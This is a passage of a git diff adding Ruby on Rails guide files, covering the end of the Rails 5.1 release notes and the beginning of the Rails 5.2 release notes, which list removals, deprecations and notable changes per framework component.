+<form action="/posts/1" method="post" data-remote="true">
+ <input type="hidden" name="_method" value="patch">
+ <input type="text" name="post[title]" value="<the title of the post>">
+</form>
+```
+
+Incompatibilities
+-----------------
+
+The following changes may require immediate action upon upgrade.
+
+### Transactional tests with multiple connections
+
+Transactional tests now wrap all Active Record connections in database
+transactions.
+
+When a test spawns additional threads, and those threads obtain database
+connections, those connections are now handled specially:
+
+The threads will share a single connection, which is inside the managed
+transaction. This ensures all threads see the database in the same
+state, ignoring the outermost transaction. Previously, such additional
+connections were unable to see the fixture rows, for example.
+
+When a thread enters a nested transaction, it will temporarily obtain
+exclusive use of the connection, to maintain isolation.
+
+If your tests currently rely on obtaining a separate,
+outside-of-transaction, connection in a spawned thread, you'll need to
+switch to more explicit connection management.
+
+If your tests spawn threads and those threads interact while also using
+explicit database transactions, this change may introduce a deadlock.
+
+The easy way to opt out of this new behavior is to disable transactional
+tests on any test cases it affects.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+* Remove deprecated `config.static_cache_control`.
+ ([commit](https://github.com/rails/rails/commit/c861decd44198f8d7d774ee6a74194d1ac1a5a13))
+
+* Remove deprecated `config.serve_static_files`.
+ ([commit](https://github.com/rails/rails/commit/0129ca2eeb6d5b2ea8c6e6be38eeb770fe45f1fa))
+
+* Remove deprecated file `rails/rack/debugger`.
+ ([commit](https://github.com/rails/rails/commit/7563bf7b46e6f04e160d664e284a33052f9804b8))
+
+* Remove deprecated tasks: `rails:update`, `rails:template`, `rails:template:copy`,
+ `rails:update:configs` and `rails:update:bin`.
+ ([commit](https://github.com/rails/rails/commit/f7782812f7e727178e4a743aa2874c078b722eef))
+
+* Remove deprecated `CONTROLLER` environment variable for `routes` task.
+ ([commit](https://github.com/rails/rails/commit/f9ed83321ac1d1902578a0aacdfe55d3db754219))
+
+* Remove -j (--javascript) option from `rails new` command.
+ ([Pull Request](https://github.com/rails/rails/pull/28546))
+
+### Notable changes
+
+* Added a shared section to `config/secrets.yml` that will be loaded for all
+ environments.
+ ([commit](https://github.com/rails/rails/commit/e530534265d2c32b5c5f772e81cb9002dcf5e9cf))
+
+* The config file `config/secrets.yml` is now loaded in with all keys as symbols.
+ ([Pull Request](https://github.com/rails/rails/pull/26929))
+
+* Removed jquery-rails from default stack. rails-ujs, which is shipped
+ with Action View, is included as default UJS adapter.
+ ([Pull Request](https://github.com/rails/rails/pull/27113))
+
+* Add Yarn support in new apps with a yarn binstub and package.json.
+ ([Pull Request](https://github.com/rails/rails/pull/26836))
+
+* Add Webpack support in new apps via the `--webpack` option, which will delegate
+ to the rails/webpacker gem.
+ ([Pull Request](https://github.com/rails/rails/pull/27288))
+
+* Initialize Git repo when generating new app, if option `--skip-git` is not
+ provided.
+ ([Pull Request](https://github.com/rails/rails/pull/27632))
+
+* Add encrypted secrets in `config/secrets.yml.enc`.
+ ([Pull Request](https://github.com/rails/rails/pull/28038))
+
+* Display railtie class name in `rails initializers`.
+ ([Pull Request](https://github.com/rails/rails/pull/25257))
+
+Action Cable
+-----------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Notable changes
+
+* Added support for `channel_prefix` to Redis and evented Redis adapters
+ in `cable.yml` to avoid name collisions when using the same Redis server
+ with multiple applications.
+ ([Pull Request](https://github.com/rails/rails/pull/27425))
+
+* Add `ActiveSupport::Notifications` hook for broadcasting data.
+ ([Pull Request](https://github.com/rails/rails/pull/24988))
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+* Removed support for non-keyword arguments in `#process`, `#get`, `#post`,
+ `#patch`, `#put`, `#delete`, and `#head` for the `ActionDispatch::IntegrationTest`
+ and `ActionController::TestCase` classes.
+ ([Commit](https://github.com/rails/rails/commit/98b8309569a326910a723f521911e54994b112fb),
+ [Commit](https://github.com/rails/rails/commit/de9542acd56f60d281465a59eac11e15ca8b3323))
+
+* Removed deprecated `ActionDispatch::Callbacks.to_prepare` and
+ `ActionDispatch::Callbacks.to_cleanup`.
+ ([Commit](https://github.com/rails/rails/commit/3f2b7d60a52ffb2ad2d4fcf889c06b631db1946b))
+
+* Removed deprecated methods related to controller filters.
+ ([Commit](https://github.com/rails/rails/commit/d7be30e8babf5e37a891522869e7b0191b79b757))
+
+* Removed deprecated support to `:text` and `:nothing` in `render`.
+ ([Commit](https://github.com/rails/rails/commit/79a5ea9eadb4d43b62afacedc0706cbe88c54496),
+ [Commit](https://github.com/rails/rails/commit/57e1c99a280bdc1b324936a690350320a1cd8111))
+
+* Removed deprecated support for calling `HashWithIndifferentAccess` methods on `ActionController::Parameters`.
+ ([Commit](https://github.com/rails/rails/pull/26746/commits/7093ceb480ad6a0a91b511832dad4c6a86981b93))
+
+### Deprecations
+
+* Deprecated `config.action_controller.raise_on_unfiltered_parameters`.
+ It doesn't have any effect in Rails 5.1.
+ ([Commit](https://github.com/rails/rails/commit/c6640fb62b10db26004a998d2ece98baede509e5))
+
+### Notable changes
+
+* Added the `direct` and `resolve` methods to the routing DSL.
+ ([Pull Request](https://github.com/rails/rails/pull/23138))
+
+* Added a new `ActionDispatch::SystemTestCase` class to write system tests in
+ your applications.
+ ([Pull Request](https://github.com/rails/rails/pull/26703))
+
+Action View
+-------------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+* Removed deprecated `#original_exception` in `ActionView::Template::Error`.
+ ([commit](https://github.com/rails/rails/commit/b9ba263e5aaa151808df058f5babfed016a1879f))
+
+* Remove the option `encode_special_chars` misnomer from `strip_tags`.
+ ([Pull Request](https://github.com/rails/rails/pull/28061))
+
+### Deprecations
+
+* Deprecated Erubis ERB handler in favor of Erubi.
+ ([Pull Request](https://github.com/rails/rails/pull/27757))
+
+### Notable changes
+
+* Raw template handler (the default template handler in Rails 5) now outputs
+ HTML-safe strings.
+ ([commit](https://github.com/rails/rails/commit/1de0df86695f8fa2eeae6b8b46f9b53decfa6ec8))
+
+* Change `datetime_field` and `datetime_field_tag` to generate `datetime-local`
+ fields.
+ ([Pull Request](https://github.com/rails/rails/pull/28061))
+
+* New Builder-style syntax for HTML tags (`tag.div`, `tag.br`, etc.)
+ ([Pull Request](https://github.com/rails/rails/pull/25543))
+
+* Add `form_with` to unify `form_tag` and `form_for` usage.
+ ([Pull Request](https://github.com/rails/rails/pull/26976))
+
+* Add `check_parameters` option to `current_page?`.
+ ([Pull Request](https://github.com/rails/rails/pull/27549))
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Notable changes
+
+* Allowed setting custom content type when attachments are included
+ and body is set inline.
+ ([Pull Request](https://github.com/rails/rails/pull/27227))
+
+* Allowed passing lambdas as values to the `default` method.
+ ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf))
+
+* Added support for parameterized invocation of mailers to share before filters and defaults
+ between different mailer actions.
+ ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf))
+
+* Passed the incoming arguments to the mailer action to `process.action_mailer` event under
+ an `args` key.
+ ([Pull Request](https://github.com/rails/rails/pull/27900))
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+* Removed support for passing arguments and block at the same time to
+ `ActiveRecord::QueryMethods#select`.
+ ([Commit](https://github.com/rails/rails/commit/4fc3366d9d99a0eb19e45ad2bf38534efbf8c8ce))
+
+* Removed deprecated `activerecord.errors.messages.restrict_dependent_destroy.one` and
+ `activerecord.errors.messages.restrict_dependent_destroy.many` i18n scopes.
+ ([Commit](https://github.com/rails/rails/commit/00e3973a311))
+
+* Removed deprecated force reload argument in singular and collection association readers.
+ ([Commit](https://github.com/rails/rails/commit/09cac8c67af))
+
+* Removed deprecated support for passing a column to `#quote`.
+ ([Commit](https://github.com/rails/rails/commit/e646bad5b7c))
+
+* Removed deprecated `name` arguments from `#tables`.
+ ([Commit](https://github.com/rails/rails/commit/d5be101dd02214468a27b6839ffe338cfe8ef5f3))
+
+* Removed deprecated behavior of `#tables` and `#table_exists?` to return tables and views
+ to return only tables and not views.
+ ([Commit](https://github.com/rails/rails/commit/5973a984c369a63720c2ac18b71012b8347479a8))
+
+* Removed deprecated `original_exception` argument in `ActiveRecord::StatementInvalid#initialize`
+ and `ActiveRecord::StatementInvalid#original_exception`.
+ ([Commit](https://github.com/rails/rails/commit/bc6c5df4699d3f6b4a61dd12328f9e0f1bd6cf46))
+
+* Removed deprecated support of passing a class as a value in a query.
+ ([Commit](https://github.com/rails/rails/commit/b4664864c972463c7437ad983832d2582186e886))
+
+* Removed deprecated support to query using commas on LIMIT.
+ ([Commit](https://github.com/rails/rails/commit/fc3e67964753fb5166ccbd2030d7382e1976f393))
+
+* Removed deprecated `conditions` parameter from `#destroy_all`.
+ ([Commit](https://github.com/rails/rails/commit/d31a6d1384cd740c8518d0bf695b550d2a3a4e9b))
+
+* Removed deprecated `conditions` parameter from `#delete_all`.
+ ([Commit](https://github.com/rails/rails/pull/27503/commits/e7381d289e4f8751dcec9553dcb4d32153bd922b))
+
+* Removed deprecated method `#load_schema_for` in favor of `#load_schema`.
+ ([Commit](https://github.com/rails/rails/commit/419e06b56c3b0229f0c72d3e4cdf59d34d8e5545))
+
+* Removed deprecated `#raise_in_transactional_callbacks` configuration.
+ ([Commit](https://github.com/rails/rails/commit/8029f779b8a1dd9848fee0b7967c2e0849bf6e07))
+
+* Removed deprecated `#use_transactional_fixtures` configuration.
+ ([Commit](https://github.com/rails/rails/commit/3955218dc163f61c932ee80af525e7cd440514b3))
+
+### Deprecations
+
+* Deprecated `error_on_ignored_order_or_limit` flag in favor of
+ `error_on_ignored_order`.
+ ([Commit](https://github.com/rails/rails/commit/451437c6f57e66cc7586ec966e530493927098c7))
+
+* Deprecated `sanitize_conditions` in favor of `sanitize_sql`.
+ ([Pull Request](https://github.com/rails/rails/pull/25999))
+
+* Deprecated `supports_migrations?` on connection adapters.
+ ([Pull Request](https://github.com/rails/rails/pull/28172))
+
+* Deprecated `Migrator.schema_migrations_table_name`, use `SchemaMigration.table_name` instead.
+ ([Pull Request](https://github.com/rails/rails/pull/28351))
+
+* Deprecated using `#quoted_id` in quoting and type casting.
+ ([Pull Request](https://github.com/rails/rails/pull/27962))
+
+* Deprecated passing `default` argument to `#index_name_exists?`.
+ ([Pull Request](https://github.com/rails/rails/pull/26930))
+
+### Notable changes
+
+* Change Default Primary Keys to BIGINT.
+ ([Pull Request](https://github.com/rails/rails/pull/26266))
+
+* Virtual/generated column support for MySQL 5.7.5+ and MariaDB 5.2.0+.
+ ([Commit](https://github.com/rails/rails/commit/65bf1c60053e727835e06392d27a2fb49665484c))
+
+* Added support for limits in batch processing.
+ ([Commit](https://github.com/rails/rails/commit/451437c6f57e66cc7586ec966e530493927098c7))
+
+* Transactional tests now wrap all Active Record connections in database
+ transactions.
+ ([Pull Request](https://github.com/rails/rails/pull/28726))
+
+* Skipped comments in the output of `mysqldump` command by default.
+ ([Pull Request](https://github.com/rails/rails/pull/23301))
+
+* Fixed `ActiveRecord::Relation#count` to use Ruby's `Enumerable#count` for counting
+ records when a block is passed as argument instead of silently ignoring the
+ passed block.
+ ([Pull Request](https://github.com/rails/rails/pull/24203))
+
+* Pass `"-v ON_ERROR_STOP=1"` flag with `psql` command to not suppress SQL errors.
+ ([Pull Request](https://github.com/rails/rails/pull/24773))
+
+* Add `ActiveRecord::Base.connection_pool.stat`.
+ ([Pull Request](https://github.com/rails/rails/pull/26988))
+
+* Inheriting directly from `ActiveRecord::Migration` raises an error.
+ Specify the Rails version for which the migration was written for.
+ ([Commit](https://github.com/rails/rails/commit/249f71a22ab21c03915da5606a063d321f04d4d3))
+
+* An error is raised when `through` association has ambiguous reflection name.
+ ([Commit](https://github.com/rails/rails/commit/0944182ad7ed70d99b078b22426cbf844edd3f61))
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+* Removed deprecated methods in `ActiveModel::Errors`.
+ ([commit](https://github.com/rails/rails/commit/9de6457ab0767ebab7f2c8bc583420fda072e2bd))
+
+* Removed deprecated `:tokenizer` option in the length validator.
+ ([commit](https://github.com/rails/rails/commit/6a78e0ecd6122a6b1be9a95e6c4e21e10e429513))
+
+* Remove deprecated behavior that halts callbacks when the return value is false.
+ ([commit](https://github.com/rails/rails/commit/3a25cdca3e0d29ee2040931d0cb6c275d612dffe))
+
+### Notable changes
+
+* The original string assigned to a model attribute is no longer incorrectly
+ frozen.
+ ([Pull Request](https://github.com/rails/rails/pull/28729))
+
+Active Job
+-----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+* Removed deprecated support to passing the adapter class to `.queue_adapter`.
+ ([commit](https://github.com/rails/rails/commit/d1fc0a5eb286600abf8505516897b96c2f1ef3f6))
+
+* Removed deprecated `#original_exception` in `ActiveJob::DeserializationError`.
+ ([commit](https://github.com/rails/rails/commit/d861a1fcf8401a173876489d8cee1ede1cecde3b))
+
+### Notable changes
+
+* Added declarative exception handling via `ActiveJob::Base.retry_on` and `ActiveJob::Base.discard_on`.
+ ([Pull Request](https://github.com/rails/rails/pull/25991))
+
+* Yield the job instance so you have access to things like `job.arguments` on
+ the custom logic after retries fail.
+ ([commit](https://github.com/rails/rails/commit/a1e4c197cb12fef66530a2edfaeda75566088d1f))
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+* Removed the `ActiveSupport::Concurrency::Latch` class.
+ ([Commit](https://github.com/rails/rails/commit/0d7bd2031b4054fbdeab0a00dd58b1b08fb7fea6))
+
+* Removed `halt_callback_chains_on_return_false`.
+ ([Commit](https://github.com/rails/rails/commit/4e63ce53fc25c3bc15c5ebf54bab54fa847ee02a))
+
+* Removed deprecated behavior that halts callbacks when the return is false.
+ ([Commit](https://github.com/rails/rails/commit/3a25cdca3e0d29ee2040931d0cb6c275d612dffe))
+
+### Deprecations
+
+* The top level `HashWithIndifferentAccess` class has been softly deprecated
+ in favor of the `ActiveSupport::HashWithIndifferentAccess` one.
+ ([Pull Request](https://github.com/rails/rails/pull/28157))
+
+* Deprecated passing string to `:if` and `:unless` conditional options on `set_callback` and `skip_callback`.
+ ([Commit](https://github.com/rails/rails/commit/0952552))
+
+### Notable changes
+
+* Fixed duration parsing and traveling to make it consistent across DST changes.
+ ([Commit](https://github.com/rails/rails/commit/8931916f4a1c1d8e70c06063ba63928c5c7eab1e),
+ [Pull Request](https://github.com/rails/rails/pull/26597))
+
+* Updated Unicode to version 9.0.0.
+ ([Pull Request](https://github.com/rails/rails/pull/27822))
+
+* Add Duration#before and #after as aliases for #ago and #since.
+ ([Pull Request](https://github.com/rails/rails/pull/27721))
+
+* Added `Module#delegate_missing_to` to delegate method calls not
+ defined for the current object to a proxy object.
+ ([Pull Request](https://github.com/rails/rails/pull/23930))
+
+* Added `Date#all_day` which returns a range representing the whole day
+ of the current date & time.
+ ([Pull Request](https://github.com/rails/rails/pull/24930))
+
+* Introduced the `assert_changes` and `assert_no_changes` methods for tests.
+ ([Pull Request](https://github.com/rails/rails/pull/25393))
+
+* The `travel` and `travel_to` methods now raise on nested calls.
+ ([Pull Request](https://github.com/rails/rails/pull/24890))
+
+* Update `DateTime#change` to support usec and nsec.
+ ([Pull Request](https://github.com/rails/rails/pull/28242))
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]: https://github.com/rails/rails/blob/5-1-stable/railties/CHANGELOG.md
+[action-pack]: https://github.com/rails/rails/blob/5-1-stable/actionpack/CHANGELOG.md
+[action-view]: https://github.com/rails/rails/blob/5-1-stable/actionview/CHANGELOG.md
+[action-mailer]: https://github.com/rails/rails/blob/5-1-stable/actionmailer/CHANGELOG.md
+[action-cable]: https://github.com/rails/rails/blob/5-1-stable/actioncable/CHANGELOG.md
+[active-record]: https://github.com/rails/rails/blob/5-1-stable/activerecord/CHANGELOG.md
+[active-model]: https://github.com/rails/rails/blob/5-1-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/5-1-stable/activesupport/CHANGELOG.md
+[active-job]: https://github.com/rails/rails/blob/5-1-stable/activejob/CHANGELOG.md
diff --git a/guides/source/5_2_release_notes.md b/guides/source/5_2_release_notes.md
new file mode 100644
index 0000000000..c5b914fffc
--- /dev/null
+++ b/guides/source/5_2_release_notes.md
@@ -0,0 +1,861 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
+
+Ruby on Rails 5.2 Release Notes
+===============================
+
+Highlights in Rails 5.2:
+
+* Active Storage
+* Redis Cache Store
+* HTTP/2 Early Hints
+* Credentials
+* Content Security Policy
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/5-2-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 5.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 5.1 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 5.2. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-1-to-rails-5-2)
+guide.
+
+Major Features
+--------------
+
+### Active Storage
+
+[Pull Request](https://github.com/rails/rails/pull/30020)
+
+[Active Storage](https://github.com/rails/rails/tree/5-2-stable/activestorage)
+facilitates uploading files to a cloud storage service like
+Amazon S3, Google Cloud Storage, or Microsoft Azure Storage and attaching
+those files to Active Record objects. It comes with a local disk-based service
+for development and testing and supports mirroring files to subordinate
+services for backups and migrations.
+You can read more about Active Storage in the
+[Active Storage Overview](active_storage_overview.html) guide.
+
+### Redis Cache Store
+
+[Pull Request](https://github.com/rails/rails/pull/31134)
+
+Rails 5.2 ships with built-in Redis cache store.
+You can read more about this in the
+[Caching with Rails: An Overview](caching_with_rails.html#activesupport-cache-rediscachestore)
+guide.
+
+### HTTP/2 Early Hints
+
+[Pull Request](https://github.com/rails/rails/pull/30744)
+
+Rails 5.2 supports [HTTP/2 Early Hints](https://tools.ietf.org/html/rfc8297).
+To start the server with Early Hints enabled pass `--early-hints`
+to `bin/rails server`.
+
+### Credentials
+
+[Pull Request](https://github.com/rails/rails/pull/30067)
+
+Added `config/credentials.yml.enc` file to store production app secrets.
+It allows saving any authentication credentials for third-party services
+directly in repository encrypted with a key in the `config/master.key` file or
+the `RAILS_MASTER_KEY` environment variable.
+This will eventually replace `Rails.application.secrets` and the encrypted
+secrets introduced in Rails 5.1.
+Furthermore, Rails 5.2
+[opens API underlying Credentials](https://github.com/rails/rails/pull/30940),
+so you can easily deal with other encrypted configurations, keys, and files.
+You can read more about this in the
+[Securing Rails Applications](security.html#custom-credentials)
+guide.
+
+### Content Security Policy
+
+[Pull Request](https://github.com/rails/rails/pull/31162)
+
+Rails 5.2 ships with a new DSL that allows you to configure a
+[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)
+for your application. You can configure a global default policy and then
+override it on a per-resource basis and even use lambdas to inject per-request
+values into the header such as account subdomains in a multi-tenant application.
+You can read more about this in the
+[Securing Rails Applications](security.html#content-security-policy)
+guide.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Deprecations
+
+* Deprecate `capify!` method in generators and templates.
+ ([Pull Request](https://github.com/rails/rails/pull/29493))
+
+* Passing the environment's name as a regular argument to the
+ `rails dbconsole` and `rails console` commands is deprecated.
+ The `-e` option should be used instead.
+ ([Commit](https://github.com/rails/rails/commit/48b249927375465a7102acc71c2dfb8d49af8309))
+
+* Deprecate using subclass of `Rails::Application` to start the Rails server.
+ ([Pull Request](https://github.com/rails/rails/pull/30127))
+
+* Deprecate `after_bundle` callback in Rails plugin templates.
+ ([Pull Request](https://github.com/rails/rails/pull/29446))
+
+### Notable changes
+
+* Added a shared section to `config/database.yml` that will be loaded for
+ all environments.
+ ([Pull Request](https://github.com/rails/rails/pull/28896))
+
+* Add `railtie.rb` to the plugin generator.
+ ([Pull Request](https://github.com/rails/rails/pull/29576))
+
+* Clear screenshot files in `tmp:clear` task.
+ ([Pull Request](https://github.com/rails/rails/pull/29534))
+
+* Skip unused components when running `bin/rails app:update`.
+ If the initial app generation skipped Action Cable, Active Record etc.,
+ the update task honors those skips too.
+ ([Pull Request](https://github.com/rails/rails/pull/29645))
+
+* Allow passing a custom connection name to the `rails dbconsole`
+ command when using a 3-level database configuration.
+ Example: `bin/rails dbconsole -c replica`.
+ ([Commit](https://github.com/rails/rails/commit/1acd9a6464668d4d54ab30d016829f60b70dbbeb))
+
+* Properly expand shortcuts for environment's name running the `console`
+ and `dbconsole` commands.
+ ([Commit](https://github.com/rails/rails/commit/3777701f1380f3814bd5313b225586dec64d4104))
+
+* Add `bootsnap` to default `Gemfile`.
+ ([Pull Request](https://github.com/rails/rails/pull/29313))
+
+* Support `-` as a platform-agnostic way to run a script from stdin with
+ `rails runner`
+ ([Pull Request](https://github.com/rails/rails/pull/26343))
+
+* Add `ruby x.x.x` version to `Gemfile` and create `.ruby-version`
+ root file containing the current Ruby version when new Rails applications
+ are created.
+ ([Pull Request](https://github.com/rails/rails/pull/30016))
+
+* Add `--skip-action-cable` option to the plugin generator.
+ ([Pull Request](https://github.com/rails/rails/pull/30164))
+
+* Add `git_source` to `Gemfile` for plugin generator.
+ ([Pull Request](https://github.com/rails/rails/pull/30110))
+
+* Skip unused components when running `bin/rails` in Rails plugin.
+ ([Commit](https://github.com/rails/rails/commit/62499cb6e088c3bc32a9396322c7473a17a28640))
+
+* Optimize indentation for generator actions.
+ ([Pull Request](https://github.com/rails/rails/pull/30166))
+
+* Optimize routes indentation.
+ ([Pull Request](https://github.com/rails/rails/pull/30241))
+
+* Add `--skip-yarn` option to the plugin generator.
+ ([Pull Request](https://github.com/rails/rails/pull/30238))
+
+* Support multiple versions arguments for `gem` method of Generators.
+ ([Pull Request](https://github.com/rails/rails/pull/30323))
+
+* Derive `secret_key_base` from the app name in development and test
+ environments.
+ ([Pull Request](https://github.com/rails/rails/pull/30067))
+
+* Add `mini_magick` to default `Gemfile` as comment.
+ ([Pull Request](https://github.com/rails/rails/pull/30633))
+
+* `rails new` and `rails plugin new` get `Active Storage` by default.
+ Add ability to skip `Active Storage` with `--skip-active-storage`
+ and do so automatically when `--skip-active-record` is used.
+ ([Pull Request](https://github.com/rails/rails/pull/30101))
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+* Removed deprecated evented redis adapter.
+ ([Commit](https://github.com/rails/rails/commit/48766e32d31651606b9f68a16015ad05c3b0de2c))
+
+### Notable changes
+
+* Add support for `host`, `port`, `db` and `password` options in cable.yml
+ ([Pull Request](https://github.com/rails/rails/pull/29528))
+
+* Hash long stream identifiers when using PostgreSQL adapter.
+ ([Pull Request](https://github.com/rails/rails/pull/29297))
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+* Remove deprecated `ActionController::ParamsParser::ParseError`.
+ ([Commit](https://github.com/rails/rails/commit/e16c765ac6dcff068ff2e5554d69ff345c003de1))
+
+### Deprecations
+
+* Deprecate `#success?`, `#missing?` and `#error?` aliases of
+ `ActionDispatch::TestResponse`.
+ ([Pull Request](https://github.com/rails/rails/pull/30104))
+
+### Notable changes
+
+* Add support for recyclable cache keys with fragment caching.
+ ([Pull Request](https://github.com/rails/rails/pull/29092))
+
+* Change the cache key format for fragments to make it easier to debug key
+ churn.
+ ([Pull Request](https://github.com/rails/rails/pull/29092))
+
+* AEAD encrypted cookies and sessions with GCM.
+ ([Pull Request](https://github.com/rails/rails/pull/28132))
+
+* Protect from forgery by default.
+ ([Pull Request](https://github.com/rails/rails/pull/29742))
+
+* Enforce signed/encrypted cookie expiry server side.
+ ([Pull Request](https://github.com/rails/rails/pull/30121))
+
+* Cookies `:expires` option supports `ActiveSupport::Duration` object.
+ ([Pull Request](https://github.com/rails/rails/pull/30121))
+
+* Use Capybara registered `:puma` server config.
+ ([Pull Request](https://github.com/rails/rails/pull/30638))
+
+* Simplify cookies middleware with key rotation support.
+ ([Pull Request](https://github.com/rails/rails/pull/29716))
+
+* Add ability to enable Early Hints for HTTP/2.
+ ([Pull Request](https://github.com/rails/rails/pull/30744))
+
+* Add headless chrome support to System Tests.
+ ([Pull Request](https://github.com/rails/rails/pull/30876))
+
+* Add `:allow_other_host` option to `redirect_back` method.
+ ([Pull Request](https://github.com/rails/rails/pull/30850))
+
+* Make `assert_recognizes` to traverse mounted engines.
+ ([Pull Request](https://github.com/rails/rails/pull/22435))
+
+* Add DSL for configuring Content-Security-Policy header.
+ ([Pull Request](https://github.com/rails/rails/pull/31162),
+ [Commit](https://github.com/rails/rails/commit/619b1b6353a65e1635d10b8f8c6630723a5a6f1a),
+ [Commit](https://github.com/rails/rails/commit/4ec8bf68ff92f35e79232fbd605012ce1f4e1e6e))
+
+* Register most popular audio/video/font mime types supported by modern
+ browsers.
+ ([Pull Request](https://github.com/rails/rails/pull/31251))
+
+* Changed the default system test screenshot output from `inline` to `simple`.
+ ([Commit](https://github.com/rails/rails/commit/9d6e288ee96d6241f864dbf90211c37b14a57632))
+
+* Add headless firefox support to System Tests.
+ ([Pull Request](https://github.com/rails/rails/pull/31365))
+
+* Add secure `X-Download-Options` and `X-Permitted-Cross-Domain-Policies` to
+ default headers set.
+ ([Commit](https://github.com/rails/rails/commit/5d7b70f4336d42eabfc403e9f6efceb88b3eff44))
+
+* Changed the system tests to set Puma as default server only when the
+ user haven't specified manually another server.
+ ([Pull Request](https://github.com/rails/rails/pull/31384))
+
+* Add `Referrer-Policy` header to default headers set.
+ ([Commit](https://github.com/rails/rails/commit/428939be9f954d39b0c41bc53d85d0d106b9d1a1))
+
+* Matches behavior of `Hash#each` in `ActionController::Parameters#each`.
+ ([Pull Request](https://github.com/rails/rails/pull/27790))
+
+* Add support for automatic nonce generation for Rails UJS.
+ ([Commit](https://github.com/rails/rails/commit/b2f0a8945956cd92dec71ec4e44715d764990a49))
+
+* Update the default HSTS max-age value to 31536000 seconds (1 year)
+ to meet the minimum max-age requirement for https://hstspreload.org/.
+ ([Commit](https://github.com/rails/rails/commit/30b5f469a1d30c60d1fb0605e84c50568ff7ed37))
+
+* Add alias method `to_hash` to `to_h` for `cookies`.
+ Add alias method `to_h` to `to_hash` for `session`.
+ ([Commit](https://github.com/rails/rails/commit/50a62499e41dfffc2903d468e8b47acebaf9b500))
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+* Remove deprecated Erubis ERB handler.
+ ([Commit](https://github.com/rails/rails/commit/7de7f12fd140a60134defe7dc55b5a20b2372d06))
+
+### Deprecations
+
+* Deprecate `image_alt` helper which used to add default alt text to
+ the images generated by `image_tag`.
+ ([Pull Request](https://github.com/rails/rails/pull/30213))
+
+### Notable changes
+
+* Add `:json` type to `auto_discovery_link_tag` to support
+ [JSON Feeds](https://jsonfeed.org/version/1).
+ ([Pull Request](https://github.com/rails/rails/pull/29158))
+
+* Add `srcset` option to `image_tag` helper.
+ ([Pull Request](https://github.com/rails/rails/pull/29349))
+
+* Fix issues with `field_error_proc` wrapping `optgroup` and
+ select divider `option`.
+ ([Pull Request](https://github.com/rails/rails/pull/31088))
+
+* Change `form_with` to generates ids by default.
+ ([Commit](https://github.com/rails/rails/commit/260d6f112a0ffdbe03e6f5051504cb441c1e94cd))
+
+* Add `preload_link_tag` helper.
+ ([Pull Request](https://github.com/rails/rails/pull/31251))
+
+* Allow the use of callable objects as group methods for grouped selects.
+ ([Pull Request](https://github.com/rails/rails/pull/31578))
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Notable changes
+
+* Allow Action Mailer classes to configure their delivery job.
+ ([Pull Request](https://github.com/rails/rails/pull/29457))
+
+* Add `assert_enqueued_email_with` test helper.
+ ([Pull Request](https://github.com/rails/rails/pull/30695))
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+* Remove deprecated `#migration_keys`.
+ ([Pull Request](https://github.com/rails/rails/pull/30337))
+
+* Remove deprecated support to `quoted_id` when typecasting
+ an Active Record object.
+ ([Commit](https://github.com/rails/rails/commit/82472b3922bda2f337a79cef961b4760d04f9689))
+
+* Remove deprecated argument `default` from `index_name_exists?`.
+ ([Commit](https://github.com/rails/rails/commit/8f5b34df81175e30f68879479243fbce966122d7))
+
+* Remove deprecated support to passing a class to `:class_name`
+ on associations.
+ ([Commit](https://github.com/rails/rails/commit/e65aff70696be52b46ebe57207ebd8bb2cfcdbb6))
+
+* Remove deprecated methods `initialize_schema_migrations_table` and
+ `initialize_internal_metadata_table`.
+ ([Commit](https://github.com/rails/rails/commit/c9660b5777707658c414b430753029cd9bc39934))
+
+* Remove deprecated method `supports_migrations?`.
+ ([Commit](https://github.com/rails/rails/commit/9438c144b1893f2a59ec0924afe4d46bd8d5ffdd))
+
+* Remove deprecated method `supports_primary_key?`.
+ ([Commit](https://github.com/rails/rails/commit/c56ff22fc6e97df4656ddc22909d9bf8b0c2cbb1))
+
+* Remove deprecated method
+ `ActiveRecord::Migrator.schema_migrations_table_name`.
+ ([Commit](https://github.com/rails/rails/commit/7df6e3f3cbdea9a0460ddbab445c81fbb1cfd012))
+
+* Remove deprecated argument `name` from `#indexes`.
